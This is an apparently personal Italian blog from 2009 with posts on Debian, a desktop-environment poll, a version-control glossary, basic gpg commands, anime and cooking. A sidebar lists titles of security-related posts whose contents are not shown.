cosi decide di installarlo in un'altra macchina

e devo dire che ci riesce benissimo!

Go on Debian !!!

Che desktop grafico usi ?

2009-07-21T07:19:00.000-07:00

in questi giorni per almeno un paio di settimane ci sarà una votazione su questo sito...
la domanda sorge spontanea dall'utenza di linux anche se per quelli che utilizzano window$ o appl3 potrebbe essere non cosi comprensibile visto che essi sono strutturati in modo da utilizzare un solo e unico ambiente desktop conformizzando le masse e le menti a un unico metodo di utilizzo di programmi
in fatti le gui spesso sono fatte in modo da rendere l utilizzazione più semplice di quel programma da parte dell utente medio in modo da essere capibile da più persone velocemente.

ma questo da uno standard ormai dettato da niente di meno che microsoft$ di avere tutte i programmi fatti in modo da assomigliare a qualsiasi altro programma su window$.

cosi offic3 12 è ottimizzato in modo da utilizzare l interfaccia grafica che usa window$ 7 e cosi tutti i programmi sono fatti in modo da essere simili al sistema base...

per linux non è proprio cosi
di ambienti grafici ce ne sono diversi sviluppati da persone che vogliono condividere le proprie conoscenze e che non si vogliono fossilizzare su patetici standard
la cosa che sta portando avanti di molto lo sviluppo di questi ambienti è il fatto che attualmente vengono usati sistemi di programmazione collaborativa migliore sotto molti punti di vista e cosa che gli ambienti desktop privati non possono fare su larga scala.
Per ora non voglio dare altre informazioni per evitare di influenzare il sondaggio :)
cosi vi lascio a voi la scelta dell ambiente che usate più di frequente
potete dare più di un voto e anche cambiare idea se vi accorgete di aver sbagliato a votare (spero non accada !!!)

GNOME

KDE

Xfce

EDE

Lxde

Étoilé

Irix

Mezzo

ROX

とらドラ!

2009-07-20T15:38:00.000-07:00

L'ho visto un pò di tempo fa e devo dire che mi è piaciuto molto :)
i personaggi sono fatti davvero molto bene e molto caratterizzati.
il mio personaggio preferito rimane indubbiamente taiga ribelle e brutale ma al tempo stesso molto dolce.
con ryuji che gli sta sempre appresso come fosse suo fratello...
fin troppo protettivo.
insomma una storia romantica tipica giapponese hihi

piccola nota tora significa tigre e dora dragone
e anche ryuji e taiga sono sinonimi

tora=taiga=tigre
dora=ryuji=dragone
:)

mi è capitato per caso di vedere il post sugli onigiri di madeinkitchen cosi mi è venuta la mania degli onigiri gia che prima non avevo abbastanza manie.
mi toccherà farmeli...

vi lascio con questo ultimo post

a domani ;)

GIT - BZR - Mercurial

2009-07-19T05:02:00.000-07:00

in questo periodo mi è capitato di usare GIT - SVN - BZR
sono tutti software per controllare diverse versioni di un progetto (CVS - Concurrent Versions System)

GIT
è sviluppato da Linus Torvalds il quale ha dichiarato "sono un egoista bastardo e chiamo tutti i miei progetti prima di me, all'inizio linux ora GIT" (git significa idiota in inglese N. buluca)
un altra versione del nome è che stia per tracciatore di informazioni globali
(credo sia la migliore tra tutte le altre versioni della derivazione del nome)

Bazaar era all inizio chiamato cosi un ramo del client GNU arch tla, questo ramo attualmente è chiamato Baz per distinguerlo da baazar. è creato dalla canonical ltd la compagnia che ha ubunto per intenderci.

Mercurial è ideato da Matt Mackall sotto licenza GPL2 è usato da firefox e tutti gli altri componenti del pacchetto mozzilla per le loro repository

tutti questi diversi sistemi di revisione collaborativa utilizzano codifiche differenti per uno stesso scopo.
tutti cercano di essere il più possibile veloci potenti, facili da usare e decentralizzati

utilizzare un sistema collaborativo piuttosto che un sistema centralizzato è molto vantaggioso.
ognuno si scarica il proprio pezzetto di pacchetto da modificare e apporta i propri cambiamenti anche offline
con l'arrivo di questi controllori di revisioni è arrivata anche una nuova terminologia entrata ormai nell' utilizzo comune dei programmatori

Baseline
Una revisione approvata di un file o di un documento alla quale possono essere apportate nuove modifiche

Branch
sono dei file che possono essere branched o forched in un punto nel tempo cosi si dividono in due branche che possono essere gestite e/o sviluppate in modi e tempi differenti indipendentemente dall resto

Change
Un cambiamento (diff or delta) rappresenta una modificazione specifica di un documento sotto il controllo di versione. la granualità delle modifiche considerate varia nei differenti sistemi RC(controllo di revisione).

Change list
fa vedere i differenti cambiamenti effettuati in una singola commissione (commit) mostrando anche il codice che è stato modificato.

Checkout
crea una copia funzionante del repository in locale. si può anche richiedere di scaricare una revisione specifica.

Commit
Una commissione è quando vengono finiti i cambiamenti che si vogliono fare e viene fusa con la versione attuale

Conflict
un conflitto accade quando vengono fornite due copie differenti da più utenti di un singolo documento. a quel punto un utente dovrà intervenire per decidere quale revisione mantenere e quale scartare o decidere di tenere parte di una e parte dell altra

Dynamic stream
un posto che contiene alcune o tutte le versioni dei file che sono la copia di un repository principale

Export
è simile al check out ma crea una directory pulita e non copia i dati dei controlli di revisione. solitamente si fa prima di pubblicare i contenuti.

Head
la commissione più recente.

Import
è l'azione di copiare per la prima volta una directory in locale nel repository che ancora non la possiede

Label
guarda il tag

Mainline
simile a trunk ma può esserci una mainline principale per ogni ramo

Merge
è un operazione con la quale si integrano due cambienti sono applicati a un file o a più file.

Promote
L'azione di copiare file da una locazione poco controllata a una più controllata.

Repository
è dove sono immagazzinati i file correnti e i dati dello storico cambiamenti, spesso su un server.

Resolve
Un utente che interviene in un conflitto tra differenti cambiamenti a uno stesso documento

Reverse integration
il processo di integrare diversi rami distaccati in un ramo centrale del sistema.

Revision
o versione sono qualsiasi cambiamento nella forma.

Stream
un contenitore di file deramificati che hanno relazioni con altri come contenitori. ogni stream può contenere diversi dati dello stream principale.

Tag
etichetta si riferisce a un importante stato nel tempo consistente tra più file tutti etichettati nello stesso modo.

Trunk(a volte anche chiamata baseline o mainline)
L'unica linea di sviluppo che non è un branch

Update
integra cambiamenti fatti al repository alla copia locale

Working copy
è la copia locale dei file di una repository, di un periodo specifico o di una qualche revisione. (concettualmente è una sandbox)

utilizzare pastebin

2009-07-18T16:08:00.000-07:00

Volete mandare un documento a qualcuno ma i caratteri di msn non vi bastano ?
o di skype ?
volete sottolineare parti di codice per mostrarlo a più persone le quali possono a loro volta modificarlo e voi potrete vedere facilmente cosa hanno modificato ?

Volete condividere una ricetta di cucina su madeinkitchen ma prima volete mostrarla al vostro amico francese che vi da molti utili consigli ?

volete mostrare qualkosa più lungo di 140 caratteri su twitter

allora usate pastebin !!!

Prima di tutto è open source infatti potete scaricare il server da qui http://pastebin.com/pastebin.tar.gz
e oltretutto fa dei link molto corti

è fatto per collaborare su uno stesso testo
che sia codice o una ricetta
http://pastebin.com/

TODO n°1

2009-07-18T16:05:00.000-07:00

usare: http://alioth.debian.org per contribuire allo sviluppo di debian
usare: unstable release di debian per contribuire alla segnalazione dei bugs di debian
tradurre: http://www.debian.org/doc/developers-reference/index.html

fotografie che diventano codice di testo

2009-07-18T12:08:00.000-07:00

un sito per convertire immagini in testo :)

davvero molto carino

dddddddddddddddddddddddddddddd
ddddddddddmhyyyyyhdddddddddddd
dddddmdho:.````````-+ymddddddd
ddddmy:`````-://:.````.odddddd
dddd:````/ydhmo+ddho:```.hdddd
ddd:```:dyh:`m-`s+.yds```.hddd
dds```.dm./o`do:h+`oddo```:mdd
ddo```/mdysdddd/++++hdm```.mmd
ddy```/ddm::/+yhso-`+dh```-mdd
ddd-```omds````.```/hh-```oddd
dddd.```:hdd+````odh+````:dddd
ddddd/````-oh```-h-````.sddddd
ddddddh+.``/h```:d```:sddddddd
dddddddddysyh```/msyddmddddddd
dddddddds/os+```-ssooddddddddd
dddddddds````````````mdddddddd
dddddddm+://.````:/:-ddddddddd
mdddddddddddo```:ddddddddddddd
ddddddddddmdo.--.mdddddddddddd
ddddddddddddddddmddddddddddddd
dddddddddddddddddddddddddddddd

servizio di sincronizzazione in tempo reale

2009-07-18T11:59:00.000-07:00

se volete provare basta aprire questo link http://whiteboard.debian.net/aliceinwire.wb in più tab scrivere su uno e quando aggiornate gli altri tab comparirà quello che avete scritto

è pubblico quindi chiunque va a quel link può leggere quello che c'è scritto

Folder o directory ?

2009-07-18T08:38:00.000-07:00

oggi mi è capitato di discutere su quest'argomento cosi ho cercato un pò in internet ed è saltato fuori che:
Con L'introduzione di windows 95, Microsozz ha cominciato a riferirsi alle directory come folders

visualizzate appunto come cartelle
questa visione ormai è stata portata anche su unix ad esempio konqueror utilizza lo stessa sistema e anchesso le chiama folder

mac osx utilizza il sistema contrario di windows

chiama directory le cartelle che racchiudono altre folder

in conclusione penso che siano comunque directory sia che stiano su un interfaccia grafica o meno

le folder nel senso proprio possono essere delle cartelle virtuali o degli archivi

7 zip è uno dei più efficenti ed è completamente open source

qua potete trovare la struttura dei file su debian http://wiki.debian.org/FilesystemHierarchyStandard

evviva il frushi

2009-07-17T14:05:00.000-07:00

partendo dal fatto che oggi ho avuto mal di pancia per metà giornata e non è che abbia fatto molto... a parte stare con dolori di pancia -.-
sarà stata la soia aperta da ormai una settimana ??
in effetti aveva un odore strano

sto continuando a tradurre il wiki di debian anche se forse dovrei velocizzarmi un pò che se vado avanti di sto passo finirò tra un paio di anni...

vi consiglio un sito da dove scaricarvi musica :)
visto che ora sto ascoltando: prenzlauberg beirut gulag orkestar

il sito è www.pillage.com

com'è che mi piaciono i gelati alla frutta e il mio frigo sta pieno di gelato alla crema ???
manco un cavolo di ghiacciolo !!!

voglio il frushi

è una delle tante ricette che potete trovare qui http://www.madeinkitchen.tv

ho sentito anche mentre andavo in aereo di uno chef che fa il sushi con le caramelle mmm ba preferisco il frushi!!!

the women debian project

2009-07-17T03:02:00.000-07:00

Una delle cose che mi ha portata ad approcciare Debian piuttosto che innumerevoli altri SO
,a parte il fatto che sia creato da tutti noi che lo utilizzano e che è completamente libero e ognuno può contribuire nel proprio piccolo, è la comunità di donne che c'è dietro il "women Debian Project".
che gia avevo visto 4 anni fa quando installai per la prima volta debian su una macchina amministrativa a crema.
sfortunatamente a quel tempo a casa avevo un modem adsl non compatibile con il sistema linux, avevo provato svariate volte con eciadsl ma senza nessuna conclusione.
comunque mi era rimasta impressa la pagina del progetto e il logo

http://women.debian.org/

rimanendone molto affascinata
finalmente c'era qualcuno che combatteva contro lo stereotipo femminile !!!

ultimamente ho deciso che è arrivato il momento di fare il passaggio visto che ormai debian è sotto molti punti di vista una ottima alternativa a OS propietari
diventandolo sempre di più perchè ha tanti coders attivi in tutto il mondo che contribuiscono al progetto
se volete avere un idea di tutte le persone che contribuiscono potete guardare qui
http://www.debian.org/devel/people

cosi mi sono riaffacciata anche al progetto debian women :)
se siete interessati anche voi al progetto italiano
http://women.debian.org/wiki/Italian/FrontPage

debian wiki

2009-07-17T02:55:00.000-07:00

finalmente è uscito il caldo !!!
voglio andare al mareeeeee
ho appena preso un biglietto per roma per poi andare in grecia :D
spero di farmi tanti bagni!!!

sto traducento parti del debian wiki
http://wiki.debian.org/it/DebianPackage
se trovate errori scrivetemelo o date un mano nel wiki anche voi ^^

sto leggendo la guida per il nuovo maintainer che spiega come pacchettizare i programmi per venir installati su debian
molto interessante e utile per un approccio a debian più consistente :)

Freedom Fry

2009-07-16T14:08:00.000-07:00

Stephen Fry introduce il software libero e ti ricorda un compleanno molto speciale.

Tutti i file sono nel formato ogg. guarda come vedere il formato ogg

Download video, highest quality (125mb)

Smaller downloads

Medium quality, subtitled for the deaf

Get the audio

Ogg Vorbis, High Quality, Stereo (5mb) or Ogg Speex, Radio Quality, Mono (400kb)

En français

Sottotitoli in italiano
Italiano

editor per mediawiki!

2009-07-16T14:03:00.000-07:00

ciao a tutti
ho trovato l editor per media wiki
basta usare kwrite e andare su
tool--> highlighting --> markup --> mediawiki

e verrà colorato il format di media wiki in modo da capirlo meglio

veramente molto utile per tradurre parti di wiki

il sito che avevo messo ieri per megaupload non andava per nulla bene alla fine
cosi ne ho messo un altro che mi piace molto

gpg - gnu privacy guard

2009-07-15T16:57:00.000-07:00

mi sono decisa a installare gpg da shell insomma ci ho passato il pomeriggio per ora ho tutto apposto

insomma da linea di comando è un pò complesso

gpg --gen-key

che genera la chiave gpg

ora le impostazioni
io ho usato quelle standart
poi fate

gpg --list-keys

per vedere se compare e se è creata giusta

gpg --fingerprint vostro nome

per avere la fingerprint key
che è una pgp criptata in maniera ridotta
da appiccicare ovunque ma sempre con criterio

la mia per esempio è
Key fingerprint = 660B 821F A4E1 EA91 9F22 33DA 223A 9E8D A5FD 3B70

se non volete sbattervi di fare comandi da shell
vi basta installare
http://enigmail.mozdev.org

un plugin per thunderbird veramente utile e semplice

verifica in automatico i gpg delle mail che vi arrivano e ha un ottima gestione delle vostre chiavi

megaupload hack 72 minuti

2009-07-15T16:47:00.000-07:00

ciao a tutti sto andando a dormire e volevo scrivere un paio di post su cose trovate oggi al volo

be volevo vedermi un video prima di addormentarmi ma credo finirò di vederlo dopo
però ho reinstallato debian e non mi va di scaricare codec vari per leggere divx e xvid e sottotitoli magari finisce che sono poco stabili e che fanno conflitti.
ho cancellato anche gnome che come desktop preferisco usare kde.
insomma volevo rilassarmi con un video ma megaupload ha il problema che dopo 72 minuti non ti fa più vedere nulla e io ho appena visto 35 minuti di naruto shippuden 104 che mi mancava e ora stavo guardando bleach.

http://www.zomganime.com/

cmq questa penso sia solo una soluzione momentanea anche se molto efficace appena ho novità a riguardo vi aggiorno :)

aggiornamento : il link di ieri non andava molto bene cosi ho messo questo http://www.zomganime.com/ che ogni tanto lo tiro fuori ha davvero dei bei anime e spesso funzionano sui server video utilizzati da loro.

ieri alla fine ho visto naruto però mi sono addormentata a metà ma non ho capito se guren poi è morta davvero
spero di no era un personaggio simpatico
ma in naruto tutti i personaggi cattivi non durano tanto se diventano buoni

editor wiki !

2009-07-15T14:05:00.001-07:00

qualcuno conosce un buon editor per wiki ?
magari open source per debian ?

o anche un plugin per kwrite o simili

che mi faccia da solo la formattazione!!!

grazie grazie :)

Drunk Geisha

Network yourself!

Routermon

mosquito on my monitor

Ikiwiki + Gitolite

New women.debian.org website !

I adopted Nautilus-Actions

Tuesday May 4th, is the Day Against DRM!!!

Gnome 3 and Gnome Shell

Wanted Wardriver

Buon anno :D

exploitbin project open

ikee virus for iphone

Dropbox open source !!!

Honeypot and Honeynet

Liberty Exploit pack... exploited!

Jump/XSS/CSRF in Flash

programmer life

Aperto il circolab :)

Inaugurazione apertura dell gruppo Girl Geek Dinners Brescia

The first Sourcefire italian community for support and discuss :)

Xen hypervisor daemon error

How to capture real time traffic network with tcpdump and Xplico

Protocols Dissectors

Dissector

Status

Note

Dissector

Status

Note

Sono anche una brava cuoca o almeno ci provo!

t3c4i3's shell trojan -- Reversed

Che desktop grafico usi ?

L'etica Hacker is burning!

Bifrost Debug

source shoot christmas tree virus

Comparazione AV

Reverse Engineering su Linux

Omegle

GDIUM LIBERTY 1000

Offensive Security's "Metasploit Unleashed"

Fare breccia in 60 secondi in un punto d'accesso protetto da WPA

Il primo portatile completamente Open Source

Litizzetto Vs Windows

Non ho pagato per Windows

Hacker Code

Per i nostalgici di MS-Dos

Liberare Debian 100% Free!

Proteggi il tuo database MySql dagli attacchi di Sql injection con GreenSql

gNewSense

Commandi APT Debian

Vedere DVD su Debian e installare libdvdcss e w32 video codecs

vi (aka vim) manuale,trucchi e comandi utili

5 Ragioni per scegliere Debian/Linux al posto di Ubuntu/Linux

Dropbox non-free per debian !

happy birthday Debian !

abr2gbr debian

sto cercando lavoro in giappone al momento

piccolo aggiornamento da skyros :D

My first packet is in testing fase

Codici QR cosa sono questi sconosciuti e perchè sono diventati tanto famosi in giappone ?

i dieci virus più ricercati negli states

Cyberia mix

Come farsi una Debian card !

informazioni sull'italia wikileaks!

Norton antivirus game edition

perchè gli hackers salveranno il mondo ?

Mi serve qualc'uno che mi firmi la chiave gpg!!!

Debian e i dvd

Come criptare Debian Lenny sul vostro portatile

Meringata Vegan Open Source

Debconf9

SecurityTube.com , YoutU83 incentrato sulla sicurezza in internet

installare window$ vista in 2 minuti

Che desktop grafico usi ?

とらドラ!

GIT - BZR - Mercurial

utilizzare pastebin

TODO n°1

fotografie che diventano codice di testo